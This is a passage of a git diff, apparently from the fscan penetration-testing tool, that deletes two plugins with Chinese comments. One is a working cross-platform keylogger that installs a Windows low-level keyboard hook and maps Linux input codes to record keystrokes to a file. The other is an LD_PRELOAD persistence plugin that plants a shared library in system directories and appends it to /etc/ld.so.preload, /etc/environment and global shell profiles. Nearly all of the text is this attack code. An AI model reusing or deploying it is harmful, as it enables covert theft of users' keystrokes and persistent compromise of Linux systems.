p.getLinuxKeyChar(event.Code) - if keyChar != "" { - p.addKeyToBuffer(keyChar) - } - } - } - } -} - -// getLinuxKeyChar 获取Linux按键字符 -func (p *KeyloggerPlugin) getLinuxKeyChar(keyCode uint16) string { - // Linux内核输入子系统键码映射 - keyMap := map[uint16]string{ - 1: "[Esc]", - 2: "1", 3: "2", 4: "3", 5: "4", 6: "5", 7: "6", 8: "7", 9: "8", 10: "9", 11: "0", - 12: "-", 13: "=", - 14: "[Backspace]", - 15: "[Tab]", - 16: "q", 17: "w", 18: "e", 19: "r", 20: "t", 21: "y", 22: "u", 23: "i", 24: "o", 25: "p", - 26: "[", 27: "]", - 28: "[Enter]", - 29: "[LCtrl]", - 30: "a", 31: "s", 32: "d", 33: "f", 34: "g", 35: "h", 36: "j", 37: "k", 38: "l", - 39: ";", 40: "'", - 41: "`", - 42: "[LShift]", - 43: "\\", - 44: "z", 45: "x", 46: "c", 47: "v", 48: "b", 49: "n", 50: "m", - 51: ",", 52: ".", 53: "/", - 54: "[RShift]", - 55: "*", - 56: "[LAlt]", - 57: " ", // 空格 - 58: "[CapsLock]", - 59: "[F1]", 60: "[F2]", 61: "[F3]", 62: "[F4]", 63: "[F5]", 64: "[F6]", - 65: "[F7]", 66: "[F8]", 67: "[F9]", 68: "[F10]", - 69: "[NumLock]", - 70: "[ScrollLock]", - 71: "[Home]", - 72: "[Up]", - 73: "[PgUp]", - 74: "-", - 75: "[Left]", - 76: "[Center]", - 77: "[Right]", - 78: "+", - 79: "[End]", - 80: "[Down]", - 81: "[PgDn]", - 82: "[Insert]", - 83: "[Delete]", - 87: "[F11]", 88: "[F12]", - 96: "[REnter]", - 97: "[RCtrl]", - 98: "/", - 99: "[PrtSc]", - 100: "[RAlt]", - 102: "[Home]", - 103: "[Up]", - 104: "[PgUp]", - 105: "[Left]", - 106: "[Right]", - 107: "[End]", - 108: "[Down]", - 109: "[PgDn]", - 110: "[Insert]", - 111: "[Delete]", - 125: "[LWin]", - 126: "[RWin]", - 127: "[Menu]", - } - - if keyName, exists := keyMap[keyCode]; exists { - return keyName - } - - return fmt.Sprintf("[KEY_%d]", keyCode) -} - -// checkWindowsRequirements 检查Windows特定要求(Linux平台的空实现) -func (p *KeyloggerPlugin) checkWindowsRequirements() error { - return fmt.Errorf("不支持的平台") -} - -// checkDarwinRequirements 检查Darwin特定要求(Linux平台的空实现) -func (p *KeyloggerPlugin) checkDarwinRequirements() error { - return fmt.Errorf("不支持的平台") -} - -// startWindowsKeylogging 启动Windows键盘记录(Linux平台的空实现) -func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error { - return fmt.Errorf("不支持的平台") -} - -// startDarwinKeylogging 启动Darwin键盘记录(Linux平台的空实现) -func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error { - return fmt.Errorf("不支持的平台") -} \ No newline at end of file diff --git a/plugins/local_backup/keylogger/keylogger_other.go b/plugins/local_backup/keylogger/keylogger_other.go deleted file mode 100644 index 0d21dc3..0000000 --- a/plugins/local_backup/keylogger/keylogger_other.go +++ /dev/null @@ -1,28 +0,0 @@ -// +build !windows,!linux,!darwin - -package keylogger - -import ( - "context" - "fmt" -) - -// checkLinuxRequirements 检查Linux特定要求(其他平台的空实现) -func (p *KeyloggerPlugin) checkLinuxRequirements() error { - return fmt.Errorf("不支持的平台") -} - -// checkDarwinRequirements 检查Darwin特定要求(其他平台的空实现) -func (p *KeyloggerPlugin) checkDarwinRequirements() error { - return fmt.Errorf("不支持的平台") -} - -// startLinuxKeylogging 启动Linux键盘记录(其他平台的空实现) -func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error { - return fmt.Errorf("不支持的平台") -} - -// startDarwinKeylogging 启动Darwin键盘记录(其他平台的空实现) -func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error { - return fmt.Errorf("不支持的平台") -} \ No newline at end of file diff --git a/plugins/local_backup/keylogger/keylogger_windows.go b/plugins/local_backup/keylogger/keylogger_windows.go deleted file mode 100644 index 087d38d..0000000 --- a/plugins/local_backup/keylogger/keylogger_windows.go +++ /dev/null @@ -1,337 +0,0 @@ -// +build windows - -package keylogger - -import ( - "context" - "fmt" - "os" - "syscall" - "time" - "unsafe" - - "github.com/shadow1ng/fscan/common" -) - -// Windows API 声明 -var ( - user32 = syscall.NewLazyDLL("user32.dll") - kernel32 = syscall.NewLazyDLL("kernel32.dll") - procSetWindowsHookEx = user32.NewProc("SetWindowsHookExW") - procCallNextHookEx = user32.NewProc("CallNextHookEx") - procUnhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx") - procGetMessage = user32.NewProc("GetMessageW") - procGetModuleHandle = kernel32.NewProc("GetModuleHandleW") - procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState") -) - -const ( - WH_KEYBOARD_LL = 13 - WM_KEYDOWN = 0x0100 - WM_KEYUP = 0x0101 - WM_SYSKEYDOWN = 0x0104 - WM_SYSKEYUP = 0x0105 -) - -type ( - DWORD uint32 - WPARAM uintptr - LPARAM uintptr - LRESULT uintptr - HANDLE uintptr - HHOOK HANDLE - HWND HANDLE -) - -type POINT struct { - X, Y int32 -} - -type MSG struct { - HWND HWND - Message uint32 - WParam WPARAM - LParam LPARAM - Time uint32 - Pt POINT -} - -type KBDLLHOOKSTRUCT struct { - VkCode DWORD - ScanCode DWORD - Flags DWORD - Time DWORD - DwExtraInfo uintptr -} - -// 全局变量 - 简化版本 -var ( - windowsHook HHOOK - keylogger *KeyloggerPlugin - logFile *os.File - eventChannel chan KeyboardEvent - stopHookChan chan bool -) - -// KeyboardEvent 键盘事件结构,模仿gohook的设计 -type KeyboardEvent struct { - Kind EventKind - Rawcode uint16 - Keychar string - Timestamp time.Time -} - -type EventKind int - -const ( - KeyDown EventKind = iota - KeyUp -) - -// startWindowsKeylogging 启动Windows键盘记录 - 高效版本 -func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error { - common.LogInfo("启动Windows键盘记录 (高效版本)...") - - keylogger = p - - // 创建事件通道(模仿gohook的设计) - eventChannel = make(chan KeyboardEvent, 100) - stopHookChan = make(chan bool, 1) - - // 打开日志文件进行实时写入 - var err error - logFile, err = os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600) - if err != nil { - return fmt.Errorf("无法创建输出文件 %s: %v", p.outputFile, err) - } - defer func() { - if logFile != nil { - logFile.Close() - logFile = nil - } - }() - - // 写入文件头部 - p.writeLogHeader() - - // 启动Hook监听(在独立goroutine中) - go p.startKeyboardHook() - - // 启动事件处理(模仿你的for ev := range evChan的模式) - return p.processEvents(ctx) -} - -// startKeyboardHook 启动键盘Hook监听 -func (p *KeyloggerPlugin) startKeyboardHook() { - // 安装Hook - hookProc := syscall.NewCallback(keyboardHookProc) - moduleHandle, _, _ := procGetModuleHandle.Call(0) - - hook, _, _ := procSetWindowsHookEx.Call( - uintptr(WH_KEYBOARD_LL), - hookProc, - moduleHandle, - 0, - ) - - if hook == 0 { - common.LogError("安装键盘Hook失败") - return - } - - windowsHook = HHOOK(hook) - common.LogInfo("键盘Hook安装成功") - - // 消息循环 - msg := &MSG{} - for { - select { - case <-stopHookChan: - // 清理Hook - procUnhookWindowsHookEx.Call(uintptr(windowsHook)) - common.LogInfo("键盘Hook已清理") - return - default: - // 非阻塞消息处理 - ret, _, _ := procGetMessage.Call( - uintptr(unsafe.Pointer(msg)), - 0, 0, 0, - ) - if ret == 0 || ret == 0xFFFFFFFF { - break - } - } - } -} - -// keyboardHookProc Hook回调函数 - 简化版本 -func keyboardHookProc(nCode int, wParam WPARAM, lParam LPARAM) LRESULT { - // 立即调用下一个Hook,确保系统响应 - ret, _, _ := procCallNextHookEx.Call( - uintptr(windowsHook), - uintptr(nCode), - uintptr(wParam), - uintptr(lParam), - ) - - // 快速处理我们的逻辑 - if nCode >= 0 && eventChannel != nil { - if wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN { - kbdStruct := (*KBDLLHOOKSTRUCT)(unsafe.Pointer(lParam)) - vkCode := kbdStruct.VkCode - - - keychar := quickKeyChar(vkCode) - if keychar != "" { - // 非阻塞发送事件 - select { - case eventChannel <- KeyboardEvent{ - Kind: KeyDown, - Rawcode: uint16(vkCode), - Keychar: keychar, - Timestamp: time.Now(), - }: - default: - // 通道满了就跳过,不阻塞系统 - } - } - } - } - - return LRESULT(ret) -} - -// processEvents 处理键盘事件 - 完全模仿你的设计 -func (p *KeyloggerPlugin) processEvents(ctx context.Context) error { - common.LogInfo("开始处理键盘事件...") - - // 完全模仿你的for ev := range evChan模式 - for { - select { - case <-ctx.Done(): - common.LogInfo("收到上下文取消信号,退出键盘记录") - stopHookChan <- true - return nil - - case ev := <-eventChannel: - // 只处理按键按下事件(模仿你的 if ev.Kind == hook.KeyDown) - if ev.Kind == KeyDown && ev.Keychar != "" { - // 写入文件 - 完全模仿你的实时写入模式 - fmt.Fprintf(logFile, "[%s] %s\n", - ev.Timestamp.Format("15:04:05.000"), ev.Keychar) - logFile.Sync() // 模仿你的f.Sync() - - // 添加到内存缓冲区用于统计 - p.bufferMutex.Lock() - p.keyBuffer = append(p.keyBuffer, fmt.Sprintf("[%s] %s", - ev.Timestamp.Format("2006-01-02 15:04:05"), ev.Keychar)) - p.bufferMutex.Unlock() - - common.LogDebug(fmt.Sprintf("记录按键: %s (Rawcode: %d)", ev.Keychar, ev.Rawcode)) - } - } - } -} - -// writeLogHeader 写入日志文件头部 -func (p *KeyloggerPlugin) writeLogHeader() { - if logFile == nil { - return - } - - // 模仿你的日志格式 - fmt.Fprintf(logFile, "开始记录: %s\n", time.Now().Format("2006-01-02 15:04:05")) - fmt.Fprintf(logFile, "记录模式: 持续记录\n") - fmt.Fprintf(logFile, "平台: Windows (高效版本)\n") - fmt.Fprintf(logFile, "================================\n\n") - logFile.Sync() -} - -// quickKeyChar 快速键码转字符(简化版本) -func quickKeyChar(vkCode DWORD) string { - switch { - // 数字0-9 - case vkCode >= 0x30 && vkCode <= 0x39: - return string(rune(vkCode)) - - // 字母A-Z (统一转小写) - case vkCode >= 0x41 && vkCode <= 0x5A: - return string(rune(vkCode + 32)) - - // 基本特殊字符 - case vkCode == 0x20: - return " " - case vkCode == 0x0D: - return "[Enter]" - case vkCode == 0x08: - return "[Backspace]" - case vkCode == 0x09: - return "[Tab]" - case vkCode == 0x1B: - return "[Esc]" - case vkCode == 0x2E: - return "[Delete]" - - // 方向键 - case vkCode == 0x25: - return "[Left]" - case vkCode == 0x26: - return "[Up]" - case vkCode == 0x27: - return "[Right]" - case vkCode == 0x28: - return "[Down]" - - // 特殊键 (包括左右Shift/Ctrl/Alt) - case vkCode == 0x10 || vkCode == 0xA0 || vkCode == 0xA1: // VK_SHIFT, VK_LSHIFT, VK_RSHIFT - return "[Shift]" - case vkCode == 0x11 || vkCode == 0xA2 || vkCode == 0xA3: // VK_CONTROL, VK_LCONTROL, VK_RCONTROL - return "[Ctrl]" - case vkCode == 0x12 || vkCode == 0xA4 || vkCode == 0xA5: // VK_MENU, VK_LMENU, VK_RMENU - return "[Alt]" - - // 基本标点符号 - case vkCode == 0xBA: // ; - return ";" - case vkCode == 0xBB: // = - return "=" - case vkCode == 0xBC: // , - return "," - case vkCode == 0xBD: // - - return "-" - case vkCode == 0xBE: // . - return "." - case vkCode == 0xBF: // / - return "/" - - // 功能键 - case vkCode >= 0x70 && vkCode <= 0x7B: // F1-F12 - return fmt.Sprintf("[F%d]", vkCode-0x6F) - - default: - return "" // 跳过其他按键,保持高性能 - } -} - -// checkWindowsRequirements 检查Windows特定要求 -func (p *KeyloggerPlugin) checkWindowsRequirements() error { - common.LogInfo("检查Windows键盘记录权限...") - return nil -} - -// 其他平台的空实现 -func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error { - return fmt.Errorf("Linux平台请使用专门的实现") -} - -func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error { - return fmt.Errorf("Darwin平台请使用专门的实现") -} - -func (p *KeyloggerPlugin) checkLinuxRequirements() error { - return fmt.Errorf("不支持的平台") -} - -func (p *KeyloggerPlugin) checkDarwinRequirements() error { - return fmt.Errorf("不支持的平台") -} \ No newline at end of file diff --git a/plugins/local_backup/keylogger/plugin.go b/plugins/local_backup/keylogger/plugin.go deleted file mode 100644 index 969a74d..0000000 --- a/plugins/local_backup/keylogger/plugin.go +++ /dev/null @@ -1,289 +0,0 @@ -package keylogger - -import ( - "context" - "fmt" - "os" - "runtime" - "strings" - "sync" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins/base" - "github.com/shadow1ng/fscan/plugins/local" -) - -// KeyloggerPlugin 键盘记录插件 - 使用简化架构 -type KeyloggerPlugin struct { - *local.BaseLocalPlugin - outputFile string - isRunning bool - stopChan chan struct{} - keyBuffer []string - bufferMutex sync.RWMutex -} - -// NewKeyloggerPlugin 创建键盘记录插件 - 简化版本 -func NewKeyloggerPlugin() *KeyloggerPlugin { - // 从全局参数获取配置 - outputFile := common.KeyloggerOutputFile - if outputFile == "" { - outputFile = "keylog.txt" // 默认输出文件 - } - - metadata := &base.PluginMetadata{ - Name: "keylogger", - Version: "1.0.0", - Author: "fscan-team", - Description: "跨平台键盘记录插件,支持Windows、Linux和macOS系统的键盘输入捕获", - Category: "local", - Tags: []string{"local", "keylogger", "monitoring", "cross-platform"}, - Protocols: []string{"local"}, - } - - plugin := &KeyloggerPlugin{ - BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), - outputFile: outputFile, - stopChan: make(chan struct{}), - keyBuffer: make([]string, 0), - } - - // 支持所有主要平台 - plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"}) - // 需要管理员权限访问键盘输入 - plugin.SetRequiresPrivileges(true) - - return plugin -} - -// Initialize 初始化插件 -func (p *KeyloggerPlugin) Initialize() error { - common.LogInfo(fmt.Sprintf("初始化键盘记录插件 - 平台: %s", runtime.GOOS)) - - // 检查输出文件路径权限 - if err := p.checkOutputFilePermissions(); err != nil { - return fmt.Errorf("输出文件权限检查失败: %v", err) - } - - // 检查平台特定的权限和依赖 - if err := p.checkPlatformRequirements(); err != nil { - return fmt.Errorf("平台要求检查失败: %v", err) - } - - return p.BaseLocalPlugin.Initialize() -} - -// Scan 重写扫描方法以确保调用正确的ScanLocal实现 -func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - return p.ScanLocal(ctx, info) -} - -// ScanLocal 执行键盘记录 - 简化版本 -func (p *KeyloggerPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - common.LogBase("开始键盘记录...") - - // 启动键盘记录 - err := p.startKeylogging(ctx) - if err != nil { - return &base.ScanResult{ - Success: false, - Error: err, - }, nil - } - - result := &base.ScanResult{ - Success: true, - Service: "Keylogger", - Banner: fmt.Sprintf("键盘记录已完成 - 输出文件: %s 平台: %s", p.outputFile, runtime.GOOS), - Extra: map[string]interface{}{ - "output_file": p.outputFile, - "platform": runtime.GOOS, - "keys_captured": len(p.keyBuffer), - }, - } - - return result, nil -} - -// startKeylogging 启动键盘记录 -func (p *KeyloggerPlugin) startKeylogging(ctx context.Context) error { - p.isRunning = true - defer func() { - p.isRunning = false - }() - - common.LogInfo(fmt.Sprintf("开始键盘记录,输出文件: %s", p.outputFile)) - - // 根据平台启动相应的键盘记录 - var err error - switch runtime.GOOS { - case "windows": - err = p.startWindowsKeylogging(ctx) - case "linux": - err = p.startLinuxKeylogging(ctx) - case "darwin": - err = p.startDarwinKeylogging(ctx) - default: - err = fmt.Errorf("不支持的平台: %s", runtime.GOOS) - } - - if err != nil { - return fmt.Errorf("键盘记录失败: %v", err) - } - - // Windows平台已经实时写入文件,其他平台保存到文件 - if runtime.GOOS != "windows" { - if err := p.saveKeysToFile(); err != nil { - common.LogError(fmt.Sprintf("保存键盘记录失败: %v", err)) - } - } else { - common.LogInfo("Windows平台已实时写入文件,无需再次保存") - } - - common.LogInfo(fmt.Sprintf("键盘记录完成,捕获了 %d 个键盘事件", len(p.keyBuffer))) - return nil -} - -// checkOutputFilePermissions 检查输出文件权限 -func (p *KeyloggerPlugin) checkOutputFilePermissions() error { - // 尝试创建或打开输出文件 - file, err := os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0600) - if err != nil { - return fmt.Errorf("无法创建输出文件 %s: %v", p.outputFile, err) - } - file.Close() - return nil -} - -// checkPlatformRequirements 检查平台特定要求 -func (p *KeyloggerPlugin) checkPlatformRequirements() error { - switch runtime.GOOS { - case "windows": - return p.checkWindowsRequirements() - case "linux": - return p.checkLinuxRequirements() - case "darwin": - return p.checkDarwinRequirements() - default: - return fmt.Errorf("不支持的平台: %s", runtime.GOOS) - } -} - -// addKeyToBuffer 添加按键到缓冲区 -func (p *KeyloggerPlugin) addKeyToBuffer(key string) { - p.bufferMutex.Lock() - defer p.bufferMutex.Unlock() - - timestamp := time.Now().Format("2006-01-02 15:04:05") - entry := fmt.Sprintf("[%s] %s", timestamp, key) - p.keyBuffer = append(p.keyBuffer, entry) -} - -// saveKeysToFile 保存键盘记录到文件 -func (p *KeyloggerPlugin) saveKeysToFile() error { - p.bufferMutex.RLock() - defer p.bufferMutex.RUnlock() - - if len(p.keyBuffer) == 0 { - common.LogInfo("没有捕获到键盘输入") - return nil - } - - file, err := os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600) - if err != nil { - return fmt.Errorf("无法打开输出文件: %v", err) - } - defer file.Close() - - // 写入头部信息 - header := fmt.Sprintf("=== 键盘记录日志 ===\n") - header += fmt.Sprintf("开始时间: %s\n", time.Now().Format("2006-01-02 15:04:05")) - header += fmt.Sprintf("平台: %s\n", runtime.GOOS) - header += fmt.Sprintf("捕获事件数: %d\n", len(p.keyBuffer)) - header += fmt.Sprintf("========================\n\n") - - if _, err := file.WriteString(header); err != nil { - return fmt.Errorf("写入头部信息失败: %v", err) - } - - // 写入键盘记录 - for _, entry := range p.keyBuffer { - if _, err := file.WriteString(entry + "\n"); err != nil { - return fmt.Errorf("写入键盘记录失败: %v", err) - } - } - - return nil -} - -// GetLocalData 获取键盘记录本地数据 -func (p *KeyloggerPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { - data := make(map[string]interface{}) - - data["plugin_type"] = "keylogger" - data["platform"] = runtime.GOOS - data["output_file"] = p.outputFile - data["keys_captured"] = len(p.keyBuffer) - data["is_running"] = p.isRunning - - if hostname, err := os.Hostname(); err == nil { - data["hostname"] = hostname - } - - return data, nil -} - -// ExtractData 提取数据 -func (p *KeyloggerPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { - return &base.ExploitResult{ - Success: true, - Output: fmt.Sprintf("键盘记录完成,捕获了 %d 个键盘事件,保存到: %s", len(p.keyBuffer), p.outputFile), - Data: data, - Extra: map[string]interface{}{ - "output_file": p.outputFile, - "keys_captured": len(p.keyBuffer), - "platform": runtime.GOOS, - "status": "completed", - }, - }, nil -} - -// GetInfo 获取插件信息 -func (p *KeyloggerPlugin) GetInfo() string { - var info strings.Builder - - info.WriteString("跨平台键盘记录插件\n") - info.WriteString(fmt.Sprintf("输出文件: %s\n", p.outputFile)) - info.WriteString("记录模式: 持续记录直到程序结束\n") - info.WriteString("支持平台: Windows, Linux, macOS\n") - info.WriteString("功能: 捕获和记录键盘输入事件\n") - info.WriteString("要求: 管理员权限,平台特定的输入访问权限\n") - - return info.String() -} - -// RegisterKeyloggerPlugin 注册键盘记录插件 -func RegisterKeyloggerPlugin() { - factory := base.NewSimplePluginFactory( - &base.PluginMetadata{ - Name: "keylogger", - Version: "1.0.0", - Author: "fscan-team", - Description: "跨平台键盘记录插件,支持Windows、Linux和macOS系统的键盘输入捕获", - Category: "local", - Tags: []string{"keylogger", "local", "monitoring", "cross-platform"}, - Protocols: []string{"local"}, - }, - func() base.Plugin { - return NewKeyloggerPlugin() - }, - ) - - base.GlobalPluginRegistry.Register("keylogger", factory) -} - -// init 插件注册函数 -func init() { - RegisterKeyloggerPlugin() -} \ No newline at end of file diff --git a/plugins/local_backup/ldpreload/plugin.go b/plugins/local_backup/ldpreload/plugin.go deleted file mode 100644 index df090ef..0000000 --- a/plugins/local_backup/ldpreload/plugin.go +++ /dev/null @@ -1,390 +0,0 @@ -//go:build linux - -package ldpreload - -import ( - "context" - "fmt" - "os" - "os/exec" - "path/filepath" - "runtime" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins/base" - "github.com/shadow1ng/fscan/plugins/local" -) - -// LDPreloadPlugin LD_PRELOAD持久化插件 - 使用简化架构 -type LDPreloadPlugin struct { - *local.BaseLocalPlugin - targetFile string -} - -// NewLDPreloadPlugin 创建LD_PRELOAD持久化插件 - 简化版本 -func NewLDPreloadPlugin() *LDPreloadPlugin { - // 从全局参数获取目标文件路径 - targetFile := common.PersistenceTargetFile - if targetFile == "" { - targetFile = "" // 需要用户指定 - } - - metadata := &base.PluginMetadata{ - Name: "ldpreload", - Version: "1.0.0", - Author: "fscan-team", - Description: "Linux LD_PRELOAD持久化插件,通过动态库预加载实现持久化", - Category: "local", - Tags: []string{"local", "persistence", "linux", "ldpreload"}, - Protocols: []string{"local"}, - } - - plugin := &LDPreloadPlugin{ - BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), - targetFile: targetFile, - } - - // 只支持Linux平台 - plugin.SetPlatformSupport([]string{"linux"}) - // 需要写入系统配置文件的权限 - plugin.SetRequiresPrivileges(false) - - return plugin -} - -// Initialize 初始化插件 -func (p *LDPreloadPlugin) Initialize() error { - if p.targetFile == "" { - return fmt.Errorf("必须通过 -persistence-file 参数指定目标文件路径") - } - - // 检查目标文件是否存在 - if _, err := os.Stat(p.targetFile); os.IsNotExist(err) { - return fmt.Errorf("目标文件不存在: %s", p.targetFile) - } - - // 检查文件类型 - if !p.isValidFile(p.targetFile) { - return fmt.Errorf("目标文件必须是 .so 动态库文件: %s", p.targetFile) - } - - return p.BaseLocalPlugin.Initialize() -} - -// Scan 重写扫描方法以确保调用正确的ScanLocal实现 -func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - return p.ScanLocal(ctx, info) -} - -// ScanLocal 执行LD_PRELOAD持久化 - 简化版本 -func (p *LDPreloadPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - if runtime.GOOS != "linux" { - return &base.ScanResult{ - Success: false, - Error: fmt.Errorf("LD_PRELOAD持久化只支持Linux平台"), - }, nil - } - - common.LogBase("开始LD_PRELOAD持久化...") - common.LogBase(fmt.Sprintf("目标文件: %s", p.targetFile)) - - // 执行持久化操作 - results := make([]string, 0) - - // 1. 复制文件到系统目录 - systemPath, err := p.copyToSystemPath() - if err != nil { - common.LogError(fmt.Sprintf("复制文件到系统目录失败: %v", err)) - } else { - results = append(results, fmt.Sprintf("文件已复制到: %s", systemPath)) - common.LogSuccess(fmt.Sprintf("文件已复制到: %s", systemPath)) - } - - // 2. 添加到全局环境变量 - err = p.addToEnvironment(systemPath) - if err != nil { - common.LogError(fmt.Sprintf("添加环境变量失败: %v", err)) - } else { - results = append(results, "已添加到 /etc/environment") - common.LogSuccess("已添加到全局环境变量") - } - - // 3. 添加到shell配置文件 - shellConfigs, err := p.addToShellConfigs(systemPath) - if err != nil { - common.LogError(fmt.Sprintf("添加到shell配置失败: %v", err)) - } else { - results = append(results, fmt.Sprintf("已添加到shell配置: %s", strings.Join(shellConfigs, ", "))) - common.LogSuccess("已添加到shell配置文件") - } - - // 4. 创建库配置文件 - err = p.createLdConfig(systemPath) - if err != nil { - common.LogError(fmt.Sprintf("创建ld配置失败: %v", err)) - } else { - results = append(results, "已创建 /etc/ld.so.preload 配置") - common.LogSuccess("已创建ld预加载配置") - } - - success := len(results) > 0 - - result := &base.ScanResult{ - Success: success, - Service: "LDPreloadPersistence", - Banner: fmt.Sprintf("LD_PRELOAD持久化完成 - 目标: %s", filepath.Base(p.targetFile)), - Extra: map[string]interface{}{ - "target_file": p.targetFile, - "platform": runtime.GOOS, - "methods": results, - "status": "completed", - }, - } - - return result, nil -} - -// copyToSystemPath 复制文件到系统目录 -func (p *LDPreloadPlugin) copyToSystemPath() (string, error) { - // 选择合适的系统目录 - systemDirs := []string{ - "/usr/lib/x86_64-linux-gnu", - "/usr/lib64", - "/usr/lib", - "/lib/x86_64-linux-gnu", - "/lib64", - "/lib", - } - - var targetDir string - for _, dir := range systemDirs { - if _, err := os.Stat(dir); err == nil { - targetDir = dir - break - } - } - - if targetDir == "" { - return "", fmt.Errorf("找不到合适的系统库目录") - } - - // 生成目标路径 - basename := filepath.Base(p.targetFile) - if !strings.HasPrefix(basename, "lib") { - basename = "lib" + basename - } - if !strings.HasSuffix(basename, ".so") { - basename = strings.TrimSuffix(basename, filepath.Ext(basename)) + ".so" - } - - targetPath := filepath.Join(targetDir, basename) - - // 复制文件 - err := p.copyFile(p.targetFile, targetPath) - if err != nil { - return "", err - } - - // 设置权限 - os.Chmod(targetPath, 0755) - - return targetPath, nil -} - -// copyFile 复制文件 -func (p *LDPreloadPlugin) copyFile(src, dst string) error { - cmd := exec.Command("cp", src, dst) - return cmd.Run() -} - -// addToEnvironment 添加到全局环境变量 -func (p *LDPreloadPlugin) addToEnvironment(libPath string) error { - envFile := "/etc/environment" - - // 读取现有内容 - content := "" - if data, err := os.ReadFile(envFile); err == nil { - content = string(data) - } - - // 检查是否已存在 - ldPreloadLine := fmt.Sprintf("LD_PRELOAD=\"%s\"", libPath) - if strings.Contains(content, libPath) { - return nil // 已存在 - } - - // 添加新行 - if !strings.HasSuffix(content, "\n") && content != "" { - content += "\n" - } - content += ldPreloadLine + "\n" - - // 写入文件 - return os.WriteFile(envFile, []byte(content), 0644) -} - -// addToShellConfigs 添加到shell配置文件 -func (p *LDPreloadPlugin) addToShellConfigs(libPath string) ([]string, error) { - configFiles := []string{ - "/etc/bash.bashrc", - "/etc/profile", - "/etc/zsh/zshrc", - } - - ldPreloadLine := fmt.Sprintf("export LD_PRELOAD=\"%s:$LD_PRELOAD\"", libPath) - var modified []string - - for _, configFile := range configFiles { - if _, err := os.Stat(configFile); os.IsNotExist(err) { - continue - } - - // 读取现有内容 - content := "" - if data, err := os.ReadFile(configFile); err == nil { - content = string(data) - } - - // 检查是否已存在 - if strings.Contains(content, libPath) { - continue - } - - // 添加新行 - if !strings.HasSuffix(content, "\n") && content != "" { - content += "\n" - } - content += ldPreloadLine + "\n" - - // 写入文件 - if err := os.WriteFile(configFile, []byte(content), 0644); err == nil { - modified = append(modified, configFile) - } - } - - if len(modified) == 0 { - return nil, fmt.Errorf("无法修改任何shell配置文件") - } - - return modified, nil -} - -// createLdConfig 创建ld预加载配置 -func (p *LDPreloadPlugin) createLdConfig(libPath string) error { - configFile := "/etc/ld.so.preload" - - // 读取现有内容 - content := "" - if data, err := os.ReadFile(configFile); err == nil { - content = string(data) - } - - // 检查是否已存在 - if strings.Contains(content, libPath) { - return nil - } - - // 添加新行 - if !strings.HasSuffix(content, "\n") && content != "" { - content += "\n" - } - content += libPath + "\n" - - // 写入文件 - return os.WriteFile(configFile, []byte(content), 0644) -} - -// isValidFile 检查文件类型 -func (p *LDPreloadPlugin) isValidFile(filePath string) bool { - ext := strings.ToLower(filepath.Ext(filePath)) - - // 检查扩展名 - if ext == ".so" || ext == ".elf" { - return true - } - - // 检查文件内容(ELF魔数) - file, err := os.Open(filePath) - if err != nil { - return false - } - defer file.Close() - - header := make([]byte, 4) - if n, err := file.Read(header); err != nil || n < 4 { - return false - } - - // ELF魔数: 0x7f 0x45 0x4c 0x46 - return header[0] == 0x7f && header[1] == 0x45 && header[2] == 0x4c && header[3] == 0x46 -} - -// GetLocalData 获取LD_PRELOAD持久化本地数据 -func (p *LDPreloadPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { - data := make(map[string]interface{}) - - data["plugin_type"] = "ldpreload" - data["platform"] = runtime.GOOS - data["target_file"] = p.targetFile - data["persistence_method"] = "LD_PRELOAD" - - if hostname, err := os.Hostname(); err == nil { - data["hostname"] = hostname - } - - return data, nil -} - -// ExtractData 提取数据 -func (p *LDPreloadPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { - return &base.ExploitResult{ - Success: true, - Output: fmt.Sprintf("LD_PRELOAD持久化完成,目标文件: %s", p.targetFile), - Data: data, - Extra: map[string]interface{}{ - "target_file": p.targetFile, - "persistence_method": "LD_PRELOAD", - "status": "completed", - }, - }, nil -} - -// GetInfo 获取插件信息 -func (p *LDPreloadPlugin) GetInfo() string { - var info strings.Builder - - info.WriteString("LD_PRELOAD持久化插件\n") - info.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile)) - info.WriteString("支持平台: Linux\n") - info.WriteString("功能: 通过LD_PRELOAD机制实现动态库预加载持久化\n") - info.WriteString("方法: 环境变量、shell配置、ld.so.preload配置\n") - info.WriteString("要求: 目标文件必须是.so动态库或ELF文件\n") - - return info.String() -} - -// RegisterLDPreloadPlugin 注册LD_PRELOAD持久化插件 -func RegisterLDPreloadPlugin() { - factory := base.NewSimplePluginFactory( - &base.PluginMetadata{ - Name: "ldpreload", - Version: "1.0.0", - Author: "fscan-team", - Description: "Linux LD_PRELOAD持久化插件,通过动态库预加载实现持久化", - Category: "local", - Tags: []string{"ldpreload", "local", "persistence", "linux"}, - Protocols: []string{"local"}, - }, - func() base.Plugin { - return NewLDPreloadPlugin() - }, - ) - - base.GlobalPluginRegistry.Register("ldpreload", factory) -} - -// init 插件注册函数 -func init() { - 